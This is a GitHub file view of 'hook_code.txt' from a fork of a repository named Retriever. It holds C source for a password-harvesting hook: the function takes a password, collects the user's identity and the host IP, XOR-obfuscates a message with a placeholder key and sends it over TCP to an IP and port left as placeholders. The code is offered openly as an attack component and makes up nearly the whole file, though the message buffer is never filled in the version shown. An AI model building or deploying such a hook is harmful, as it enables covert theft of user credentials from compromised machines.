forked from P4ral1ax/Retriever
-
Notifications
You must be signed in to change notification settings - Fork 0
/
hook_code.txt
93 lines (71 loc) · 2.22 KB
/
hook_code.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <net/if.h>
#include <unistd.h>
#include <string.h>
#define PORT
#define IP
char* XORCipher(char* data, char* key, int dataLen, int keyLen) {
char* output = (char*)malloc(sizeof(char) * dataLen);
for (int i = 0; i < dataLen; ++i) {
output[i] = data[i] ^ key[i % keyLen];
}
return output;
}
int writetofile (char *password){
/* Get uid */
uid_t uid = geteuid();
struct passwd * pw = getpwuid(uid);
/* Get IP Address */
int fd;
struct ifreq ifr;
fd = socket(AF_INET, SOCK_DGRAM, 0);
/* I want to get an IPv4 IP address */
ifr.ifr_addr.sa_family = AF_INET;
/* I want IP address attached to set interface */
strncpy(ifr.ifr_name, INT_HERE, IFNAMSIZ-1);
ioctl(fd, SIOCGIFADDR, &ifr);
close(fd);
/* display result */
char buffer[256];
char * ip;
ip = inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr);
//SNPRINT
/* Make Socket */
int sock = 0, valread;
struct sockaddr_in serv_addr;
/* Sock creation Pt 2*/
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
return -1;
}
/* Socket Options */
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(PORT);
/* Timeout settings */
struct timeval timeout;
timeout.tv_sec = 3;
timeout.tv_usec = 0;
if (setsockopt (sock, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof timeout) < 0) {
return -1;
}
if (setsockopt (sock, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof timeout) < 0) {
// pass
}
/* set IP and set buffer */
if(inet_pton(AF_INET, IP, &serv_addr.sin_addr)<=0) {
return -1;
}
if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
return -1;
}
/* Encrypt Message */
char* key = "KEY_HERE";
int key_length = strlen(key);
int mes_length = strlen(buffer);
char* xor_message = XORCipher(buffer, key, mes_length, key_length);
/* Send Message */
send(sock , xor_message , mes_length, 0);
return 0;
}